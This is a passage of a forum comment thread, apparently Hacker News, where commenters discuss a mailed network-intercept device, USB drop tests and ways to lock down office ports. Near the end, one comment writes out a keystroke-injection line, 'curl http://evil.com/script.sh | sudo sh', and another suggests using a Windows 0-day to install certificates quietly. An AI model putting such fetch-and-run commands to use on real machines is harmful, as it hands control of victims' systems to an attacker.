251–260 of 358 posts
Earlier quoted context omitted.
Yes, but browsers give huge warnings about password fields on non-SSL sites. Password in the clear won't happen with any major website.
There's a little "not secure" at the top in Chrome, something most users will simply ignore.
If someone would ship this to our office with a note like "attach this to a LAN port" chances are it will get attached. And we're a software house. People tend to pay attention to viruses, etc.. but not physical security.
At a previous employer (Fortune 500, not a software co.) the IT security team would sometimes seed the parking lots with thumb drives that were "infected" with a program that would phone home to them if plugged into a PC on the corporate network. IIRC there was a depressingly high (> 50%) rate of them being plugged in.
Simple and effective, although it destroyed any resale value of the PCs.
Earlier quoted context omitted.
That is 10x more informative.
It's also three (!) years old, which is crazy to think someone has been mailing these out and running the same scam on FB without getting caught, particularly from 2016 on, with the scrutiny placed on FB's illegitimate political ads
By the way, the same Chinese company now offers a much more powerful board called Nano Pi M4 which is just a bomb with respect to RaspberryPi B+ if you look at its specifications.
Earlier quoted context omitted.
How is that even possible? How does it capture keystrokes (unless you mean Google searches where each key is sent for autocomplete). How does it break SSL?
It's probably not this attack but any WiFi device can probably be used to key log you. https://threatpost.com/keystroke-recognition-uses-wi-fi-sign...
Earlier quoted context omitted.
you still have to install the proxy certs
Pick your favorite windows 0-day and use it to only install a cert and nothing else that would tip off AV software.
If someone would ship this to our office with a note like "attach this to a LAN port" chances are it will get attached. And we're a software house. People tend to pay attention to viruses, etc.. but not physical security.
This is how stuxnet got into the Natanz facility I think. They left a usb stick in the parking lot. Someone picked it up, plugged it in.
Earlier quoted context omitted.
How is that better than epoxy squirted into all unused ports of your existing computers while also distributing fast charging USB wall warts across the office like confetti? Even the good ones are relatively cheap, especially if bought in bulk. Relative to the cost of a desktop computer they're practically free. (I'm genuinely surprised that the standard DELL and HP corporate workstation doesn't have its front USB po…
How do you know the wall wart is not a fake one?
Earlier quoted context omitted.
So these IT genuises at a Fortune 500 company were clever enough to test their employees' computer security acumen (and get the predicted result) but they weren't clever enough to simply block all use of USB mass storage devices on their corporate operating system distribution? Surely by now all corporate desktops should be configured to not respond to any USB devices other than the generic HID for mouse and keyboard…
Don't believe generic hid is safe either. You could make a device that pretends it's a keyboard and automatically inputs win+r curl http://evil.com/script.sh | sudo sh sleep alt+y. Sorry for mixing windows and Linux but conceptually something like this should work on windows if you don't require password in your UAC prompts.
Hm, perhaps.. is anything like that available already?